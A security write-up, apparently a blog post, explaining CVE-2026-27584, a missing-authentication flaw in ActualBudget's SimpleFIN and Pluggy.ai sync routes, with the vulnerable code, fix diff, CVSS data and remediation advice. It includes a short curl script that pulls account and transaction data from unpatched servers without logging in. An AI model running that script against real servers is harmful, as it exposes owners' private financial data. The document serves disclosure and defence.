Feb 25, 2026·6 min read·6 visits
The ActualBudget server forgot to ask "Who are you?" on its banking sync routes. Unauthenticated attackers could send POST requests to /simplefin or /pluggyai endpoints and download the server owner's complete financial history. Fixed in version 26.2.1 by adding session validation middleware.
ActualBudget, a local-first personal finance application designed for privacy enthusiasts, suffered from a critical authentication bypass in its server synchronization component. Specifically, the endpoints handling SimpleFIN and Pluggy.ai banking integrations lacked middleware verification, allowing unauthenticated attackers to query the server and retrieve sensitive financial data—including account balances and transaction histories—using the server owner's stored credentials.
In the modern era of surveillance capitalism, tools like ActualBudget are a godsend. They promise a "local-first" philosophy, meaning your financial data lives on your server, not in some venture-backed cloud that sells your transaction history to advertisers. Users self-host this stack, trusting that the isolation of their own infrastructure provides the ultimate security boundary.
But here is the dark irony of self-hosting: you are the sysadmin, the blue team, and the victim all at once. If the code you deploy has a hole, there is no corporate security team monitoring logs to save you. And CVE-2026-27584 is not just a hole; it is a tunnel.
This vulnerability targets the most sensitive part of the application: Bank Synchronization. To make life easier, ActualBudget integrates with providers like SimpleFIN and Pluggy.ai to automatically pull your bank transactions. The server acts as a proxy, holding the API secrets to talk to these banks. The vulnerability lies in how the server handled requests to trigger these syncs. Spoiler alert: it didn't handle them very well.
Under the hood, the ActualBudget server is a Node.js application using Express.js. If you have ever written an Express app, you know that security is often a chain of responsibility—literally. You chain middleware functions together to filter traffic. A typical secure route looks like this:
app.get('/secret', checkAuth, returnSecret);
The checkAuth middleware acts as the bouncer. If you don't have a valid session, you don't get in. The flaw in ActualBudget was a classic case of "security by omission." The developers created separate sub-applications for different integrations (app-simplefin.js and app-pluggyai.js) to keep the code modular and clean. While the main application and other modules (like GoCardless) correctly implemented the validateSessionMiddleware, these two specific modules did not.
They were initialized with logging and JSON parsing, but the session guard was completely absent. In the world of web frameworks, silence is consent. Because the code did not explicitly say "Stop unauthenticated users," Express happily passed the requests straight to the business logic. The server assumed that if you were knocking on the door, you must belong there.
Let's look at the "smoking gun" in packages/sync-server/src/app-simplefin/app-simplefin.js. This is where the magic (and the tragedy) happens. The fix, applied in commit ea937d100956ca56689ff852d99c28589e2a7d88, reveals just how simple the oversight was.
The Vulnerable Code:
// ... imports ...
import { requestLoggerMiddleware } from '../util/middlewares';
const app = express();
export { app as handlers };
app.use(requestLoggerMiddleware);
app.use(express.json());
// ROUTES DEFINED BELOW IMMEDIATELY
app.post('/accounts', async (req, res) => {
// ... fetches your bank data ...
});Notice anything missing? The code logs the request (requestLoggerMiddleware) and parses the body (express.json()), but it never checks if the request comes from a logged-in user. It just executes.
The Fix:
+ import {
+ requestLoggerMiddleware,
+ validateSessionMiddleware, // <--- The Bouncer
+ } from '../util/middlewares';
const app = express();
export { app as handlers };
app.use(requestLoggerMiddleware);
app.use(express.json());
+ app.use(validateSessionMiddleware); // <--- The LockBy adding that single line, the application now checks for a valid session cookie or token before processing any routes defined below it. Without it, the endpoint was effectively public API documentation for your bank account.
Exploiting this requires zero sophistication. There is no heap corruption, no race condition, and no cryptographic breakage. You simply ask the server for the data, and it gives it to you. An attacker scans the internet for exposed ActualBudget instances (which often run on default ports) and fires off a simple HTTP request.
Here is what a theoretical attack looks like. The attacker doesn't even need to know the user's username. They just hit the /simplefin/accounts endpoint.
#!/bin/bash
TARGET="http://victim-finance-server.com:5006"
# Step 1: Check if SimpleFIN is configured
echo "[*] Probing status..."
curl -s -X POST "$TARGET/simplefin/status" | jq .
# Step 2: Loot the vault
echo "[*] Extracting bank accounts..."
curl -s -X POST "$TARGET/simplefin/accounts" \
-H "Content-Type: application/json" \
-d '{}' | jq .> [!WARNING]
> The Response: If the server owner has connected their bank, the server responds with a JSON object containing accounts (balances, names, types) and potentially transactions (payees, amounts, dates).
The server performs the authentication with the bank using the stored keys on the backend, effectively laundering the unauthenticated request into an authenticated banking session.
The CVSS score of 9.2 is not an exaggeration. While this vulnerability does not allow Remote Code Execution (RCE) or direct modification of the server's filesystem, the Confidentiality Impact is catastrophic. We are talking about personal finance data.
An attacker exploiting this can view:
Furthermore, because ActualBudget is often self-hosted by technical users who might expose it to the internet for mobile access (without a VPN), the attack surface is wider than just "internal networks." The breach of trust here is total; a tool designed to protect your data from third parties ended up serving it to the entire internet.
The remediation is straightforward: Update to version 26.2.1 immediately. The developers have patched the missing middleware and added additional authorization checks to ensure that file access permissions are strictly enforced.
If you cannot update immediately, you must mitigate this at the network layer:
/simplefin and /pluggyai from external IP addresses.For developers reading this, the lesson is clear: Authorization and Authentication should be default-deny. Use global middleware that enforces authentication on all routes by default, and only whitelist specific public endpoints (like login pages). Relying on remembering to add validateSession to every new file is a strategy that will eventually fail.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
ActualBudget Server ActualBudget | < 26.2.1 | 26.2.1 |
| Attribute | Detail |
|---|---|
| CWE | CWE-306 (Missing Authentication for Critical Function) |
| CVSS v4.0 | 9.2 (Critical) |
| Attack Vector | Network (AV:N) |
| Attack Complexity | Low (AC:L) |
| Privileges Required | None (PR:N) |
| Confidentiality Impact | High (VC:H) |
| Affected Components | SimpleFIN & Pluggy.ai Integration Modules |
The software does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.